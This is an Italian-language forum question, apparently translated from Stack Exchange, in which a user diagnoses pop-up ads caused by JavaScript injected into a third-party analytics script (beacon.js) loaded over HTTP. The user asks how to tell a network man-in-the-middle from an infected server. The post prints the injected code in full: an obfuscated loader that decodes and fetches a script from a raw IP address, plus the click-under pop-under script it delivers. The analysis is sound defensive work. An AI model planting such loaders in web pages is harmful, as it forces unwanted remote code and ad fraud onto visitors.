Recentemente ho scoperto un problema piuttosto fastidioso: ogni primo clic che ho su qualsiasi sito Stack Exchange crea un popup pubblicitario. Questo succede sul mio desktop, laptop, telefono e persino su una VM. Ho concluso che questa è la nuova funzione pubblicitaria di Stack Exchange e mi sono lamentata su meta.stackexchange ...... fino a quando ho scoperto che ero l'unica persona colpita da questo.
Non volendo credere di essere stato così negligente da consentire un virus al mio computer (e per l'ego di pretendere di essere un "esperto di sicurezza" nella mia azienda), ho continuato a indagare sulla causa principale. Ho osservato:
- Questo riguarda solo i siti Stack Exchange.
- Questo è riproducibile su 4 dispositivi: desktop, laptop, telefono e VM.
- Il problema non si verifica se sfoglio https.
Questo mi ha portato a pensare che questo sia un problema di rete: qualcuno ha iniettato JavaScript dannoso da qualche parte nel documento HTML mentre viene trasportato come testo in chiaro su HTTP. Dopo circa 30 minuti di acquisizione e analisi del traffico di rete, ho scoperto che questa porzione di codice nella parte inferiore di ogni pagina di Stack Exchange:
(function () {
var ssl='https:'==document.location.protocol,
s=document.getElementsByTagName('script')[0],
qc=document.createElement('script');
qc.async = true;
qc.src = (ssl ? 'https://secure' : 'http://edge') + '.quantserve.com/quant.js';
s.parentNode.insertBefore(qc, s);
_qevents.push({ qacct: "p-c1rF4kxgLUzNc" });
var sc=document.createElement('script');
sc.async=true;
sc.src=(ssl?'https://sb':'http://b') + '.scorecardresearch.com/beacon.js';
s.parentNode.insertBefore(sc, s);
_comscore.push({ c1: "2", c2: "17440561" });
})();
avvia il caricamento di JavaScript dannoso sul mio browser.
Se beacon.js
viene caricato tramite HTTPS, si tratta di un JavaScript minifoto a riga singola. Ma se viene caricato via HTTP, viene aggiunta una seconda riga:
!function(){var e=function(){if(document&&document.body&&document.body.appendChild){var e="getElementById";if("undefined"==typeof window[e]&&-1==document.cookie.indexOf(e)){var n=new Date;n.setTime(n.getTime()),document.cookie=e+"=1; expires="+new Date(n.getTime()+864e5).toGMTString()+"; path=/;";var t=document.createElement("script");t.src=decodeURIComponent("%68%74%74%70%3a%2f%2f%31%30%33%2e%31%36%2e%32%33%30%2e%31%36%35%2f%73%74%61%74%73%2f%58%43%51%36%37"),document.body.appendChild(t);window[e]=1;}}};document.addEventListener&&document.addEventListener("DOMContentLoaded",e),e()}();
Che è un modo offuscato per caricare http://103.16.230.165/stats/XCQ67
, che contiene:
function PopShow3(){if(!check){check=!0;var e=navigator.cookieEnabled,o="http://onclickads.net/afu.php?zoneid=658311";if(e&&(clickUnderCookie=GetCookie("clickunder"),null===clickUnderCookie||clickUnderCookiec;){var t=c+n;if(document.cookie.substring(c,t)==o)return getCookieVal(t);if(c=document.cookie.indexOf(" ",c)+1,0==c)break}return null}function SetCookie(e,o){var n=SetCookie.arguments,i=SetCookie.arguments.length,c=i>2?n[2]:null,t=i>3?n[3]:null,r=i>4?n[4]:null,u=i>5?n[5]:!1;document.cookie=e+"="+escape(o)+(null==c?"":"; expires="+c.toGMTString())+(null==t?"":"; path="+t)+(null==r?"":"; domain="+r)+(1==u?"; secure":"")}function getCookieVal(e){var o=document.cookie.indexOf(";",e);return-1==o&&(o=document.cookie.length),unescape(document.cookie.substring(e,o))}count=parseInt(3),check=!1;document.onmouseup=PopShow3;
Ora, non c'è da stupirsi che stavo vedendo annunci.
La domanda è l'implicazione di questo risultato. Vedo alcune possibilità qui:
- Qualcuno vicino alla mia rete sta sniffando pacchetti HTTP e inserendo contenuti dannosi in essi. Dovrei passare tutto a HTTPS quando possibile (Non inserisco mai credenziali o numeri di carte di credito su HTTP, ma dovrei fare un ulteriore passo avanti)
- Il mio router ASUS è stato infettato. (Un autore di virus sensibile potrebbe infettare tutte le pagine che visito, non solo un particolare sito)
- C'è un dispositivo infetto sulla mia intranet. (spengo tutto e testa un dispositivo alla volta, succede ancora, quindi l'unica possibilità è il router.)
-
scorecardresearch.com
utilizza il geo-cast per accelerare la propria rete. Uno dei loro server host è infetto. (che spiegherebbe perché non tutti lo vedono) -
scorecardresearch.com
è dannoso. In qualche modo i server (o la rete) di Stack Exchange sono infetti; Stack Exchange non ha mai inteso includerescorecardresearch.com
nei propri script.
Per il momento ho bloccato scorecardresearch.com
.
La mia ipotesi migliore (4): uno dei server di scorecardresearch.com
è infetto. Tuttavia le conseguenze di (1) sono gravi. Spiegherebbe anche perché non tutti sono interessati. Come posso ulteriormente distinguere (1) e (4)?
C'è qualcosa che mi è mancato o che avrei dovuto fare per proteggermi?